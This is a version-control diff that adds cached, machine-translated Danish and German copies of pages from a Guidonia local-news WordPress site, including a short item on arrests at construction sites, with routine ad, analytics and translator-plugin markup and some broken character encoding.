coords='280,0,296,11' href='http://www.guidonia.net/wp/?lang=de' id='flag_de'   title='Tedesco'/><area shape='rect' coords='300,0,316,11' href='http://www.guidonia.net/wp/?lang=el' id='flag_el'   title='Greco'/><area shape='rect' coords='320,0,336,11' href='http://www.guidonia.net/wp/?lang=iw' id='flag_iw'   title='Ebraico'/><area shape='rect' coords='340,0,356,11' href='http://www.guidonia.net/wp/?lang=hi' id='flag_hi'   title='Hindi'/><area shape='rect' coords='360,0,376,11' href='http://www.guidonia.net/wp/?lang=id' id='flag_id'   title='Indonesiano'/><area shape='rect' coords='380,0,396,11' href='http://www.guidonia.net/wp/?lang=ja' id='flag_ja'   title='Giapponese'/><area shape='rect' coords='400,0,416,11' href='http://www.guidonia.net/wp/?lang=ko' id='flag_ko'   title='Coreano'/><area shape='rect' coords='420,0,436,11' href='http://www.guidonia.net/wp/?lang=lv' id='flag_lv'   title='Lettone'/><area shape='rect' coords='440,0,456,11' href='http://www.guidonia.net/wp/?lang=lt' id='flag_lt'   title='Lituano'/><area shape='rect' coords='460,0,476,11' href='http://www.guidonia.net/wp/?lang=no' id='flag_no'   title='Norvegese'/><area shape='rect' coords='480,0,496,11' href='http://www.guidonia.net/wp/?lang=pl' id='flag_pl'   title='Polacco'/><area shape='rect' coords='500,0,516,11' href='http://www.guidonia.net/wp/?lang=pt' id='flag_pt'   title='Portoghese'/><area shape='rect' coords='520,0,536,11' href='http://www.guidonia.net/wp/?lang=ro' id='flag_ro'   title='Rumeno'/><area shape='rect' coords='540,0,556,11' href='http://www.guidonia.net/wp/?lang=ru' id='flag_ru'   title='Russo'/><area shape='rect' coords='560,0,576,11' href='http://www.guidonia.net/wp/?lang=sr' id='flag_sr'   title='Serbo'/><area shape='rect' coords='580,0,596,11' href='http://www.guidonia.net/wp/?lang=sk' id='flag_sk'   title='Slovacco'/><area shape='rect' coords='600,0,616,11' href='http://www.guidonia.net/wp/?lang=sl' id='flag_sl'   title='Sloveno'/><area shape='rect' coords='620,0,636,11' href='http://www.guidonia.net/wp/?lang=es' id='flag_es'   title='Spagnolo'/><area shape='rect' coords='640,0,656,11' href='http://www.guidonia.net/wp/?lang=sv' id='flag_sv'   title='Svedese'/><area shape='rect' coords='660,0,676,11' href='http://www.guidonia.net/wp/?lang=uk' id='flag_uk'   title='Ucraino'/><area shape='rect' coords='680,0,696,11' href='http://www.guidonia.net/wp/?lang=vi' id='flag_vi'   title='Vietnamita'/><area shape='rect' coords='700,0,716,11' href='http://www.guidonia.net/wp/?lang=sq' id='flag_sq'   title='Albanese'/><area shape='rect' coords='720,0,736,11' href='http://www.guidonia.net/wp/?lang=et' id='flag_et'   title='Estone'/><area shape='rect' coords='740,0,756,11' href='http://www.guidonia.net/wp/?lang=gl' id='flag_gl'   title='Galician'/><area shape='rect' coords='760,0,776,11' href='http://www.guidonia.net/wp/?lang=mt' id='flag_mt'   title='Maltese'/><area shape='rect' coords='780,0,796,11' href='http://www.guidonia.net/wp/?lang=th' id='flag_th'   title='Tailandese'/><area shape='rect' coords='800,0,816,11' href='http://www.guidonia.net/wp/?lang=tr' id='flag_tr'   title='Turco'/><area shape='rect' coords='820,0,836,11' href='http://www.guidonia.net/wp/?lang=hu' id='flag_hu'   title='Ungherese'/></map><img style='border:0px;' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/gltr_image_map.png' usemap='#gltr_flags_map'/></div><div id="transl_sign"><a style="font-size:9px;" href="http://www.nothing2hide.net">By N2H</a></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="Abonner pÃ¥ dette indhold"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?lang=da" >Hurtigt Blog News</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): voldtÃŠgter, mÃ¥ling eller &#39;udfylder</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - jernbanelinjen af Â»outcastes&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL Roma G: forebyggelse og sikkerhed pÃ¥ arbejdspladsen</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Kvinde drÃŠbt af lynnedslag i Lazio</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Aquila, huse uden cement. Her er beviserne. &quot; Udstationerede, Enzo Cappucci, havde gravet i murbrokkerne i Abruzzo-regionen og har fundet dokumentation for lethed, manglende kontrol, den kriminelle skÃždeslÃžshed, som mange huse blev bygget. Det ... Tags: Enzo hÃŠtter Abruzzo RaiNews24 RAI sigÃžjnere en [...]"">Rai om cement</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;&#39;L&#39;Aquila, huse uden cement. Her er beviserne&#39;&#39;. De sendes af Rainews24, Enzo Cappucci, havde gravet i murbrokkerne i Abruzzo-regionen og har fundet dokumentation for lethed, manglende kontrol, den kriminelle skÃždeslÃžshed, som mange huse blev ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, huse uden cement&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">BevÃŠbnet med antik pistol rÃžvet pÃ¥ hotel</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">I juli 23 abonnementer til regionale C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">HÃ¥ndtering af post-operative smerter vinder &quot;og rock &#39;stretch&#39; e. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Kvinder og Demokrati.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Frygt, lÃžgne og &quot;myte&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;befolkning&#39; krav ... Tags: magt Circeo hjem udstillinger Donatella med [...]"">Kvinder og Demokrati.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;befolkning&#39; krav ... Tags: magt Circeo hjem udstillinger Donatella med [...]"">Frygt, lÃžgne og &quot;myte&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformers Premieres torsdag 25 juni, er i biografen</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html#39;isolationsfÃŠngsling&#39; Antonio Lombardi affannosa er genopbygningen, her er det fÃžrste kryds dowel. Med et tryk pÃ¥ tryk og altid til tiden, dukket op pÃ¥ det sted, hvor granat klub, ledsaget af de sÃŠdvanlige forklaringer af ritual, er nu officielt en nyheder notat fra ... Tags: Luca genoas Fusco Rozzano Tommaso Bern [...]"">Salernitana: Diesse Acri, Fabiani Digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">Valg, og Guidonia Kilde New til center</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=da" >GuidoniaPuntoNet (i gang).</a> Link: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">Valg Online</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistics" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistics"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html>
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/de/_wp__p=6287&lang=de
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/de/_wp__p=6287&lang=de	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/de/_wp__p=6287&lang=de	(revision 44)
@@ -0,0 +1,72 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6287 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Building Blitz auf Baustellen: 32 Personen verhaftet - TÃ€glich - GuidoniaPuntoNet (in Arbeit) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (in Arbeit) RSS-Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6287&rurl=translate.google.com&lang=it&usg=ALkJrhjkGFceBALCIObcfI1TsC8BS8oGKw" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="Vorgabe" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="rosa" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="grÃŒn" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="violett" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="rot" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="blau" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (in Arbeit) &quot;Building Blitz auf Baustellen: 32 Personen verhaftet - Daily Feed Kommentare" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (in Arbeit)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia in WebTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="VERGABE VON ROTARY Giornalistica / in Erinnerung an Grazio AMMATURO ... - UnoNotizie.it" href=http://www.guidonia.net/wp/?p=6291 /><link rel=next title="GDF, der groÃe Beschlagnahme von gefÃ€lschten Waren fÃŒr 20 Millionen - Il Sole 24 Ore" href=http://www.guidonia.net/wp/?p=6288 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=de" >GuidoniaPuntoNet (in Arbeit)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=de" >Heim</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=de" >Ãber</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=de" >Kontakt</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="Suche" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6287><h2> <span  > <a href="http://www.guidonia.net/wp?p=6287&lang=de" >Building Blitz auf Baustellen: 32 Personen verhaftet - Il Giornale</a></span> </h2><p class=meta-header> <span  > Eingegangen am 02. Juli 2009 in <a href="http://www.guidonia.net/wp?cat=1&lang=de" >Guidonia News</a> von admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363305&usg=AFQjCNHMUvikvEMwctbLfYSqoZXqgNJ0GQ">Building Blitz auf Baustellen: 32 Personen verhaftet</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>Il Giornale</b></font></font></span> <br /> <span  > <font size=-1>Die Kontrollen konzentrierten sich auf Gebiete Ã¶stlich von Rom, die gemeinsame Colleferro, <b>Guidonia Montecelio,</b> Arsoli, Capena und Ãlteren. <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=d6kg50PNcAxMjVM"><font class=p size=-1><b>mehr Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > Lassen Sie eine Antwort</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6287#respond style=display:none;&lang=de" ><small>Klicken Sie auf, um den Vorgang abzubrechen Antwort.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>Name (erforderlich)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>E-Mail (wird nicht verÃ¶ffentlicht) (erforderlich)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Website</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>Kommentare</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="Submit Kommentar" class=box /><input type=hidden name=comment_post_ID value=6287 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: Ideen fÃŒr die Web</b> -</span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>Ideen auf der Suche nach Finanzierung: <a href=mailto:info@guidonia.net>Kontaktieren Sie uns</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > Sie kÃ¶nnen Letzte via <a href="http://www.guidonia.net/wp?feed=rss2&lang=de" >RSS-Feed.</a></span> </div><div class=col><div class=box><h3> <span  > Videos ÃŒber Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=de" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, Ad.</span> <span  > Viale Roma-Bahnhof und ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=de" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Worte und KlÃ€nge Tage - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > StÃŒck von dem legendÃ€ren Konzert der Moro Guidonia von ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=de" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > StÃŒck von dem legendÃ€ren Konzert der Moro Guidonia von ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=de" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Die Bedeutung von allem - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > StÃŒck von dem legendÃ€ren Konzert der Moro Guidonia von ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=de" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Nicht Import - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > StÃŒck von dem legendÃ€ren Konzert der Moro Guidonia von ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Kleinanzeigen</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > Juli 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="Montag"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="Dienstag"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Mittwoch"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="Donnerstag"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="Freitag"> <span  > V</span> </th><th abbr=sabato scope=col title="Samstag"> <span  > S</span> </th><th abbr=domenica scope=col title="Sonntag"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=de" >Â«Jun</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=de" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=de" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=de" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > Translator</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6287' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6287&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6287&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6287&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6287&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6287&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6287&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6287&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6287&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6287&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6287&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6287&lang=es' hreflang='es' ><img id='flag_img_es' 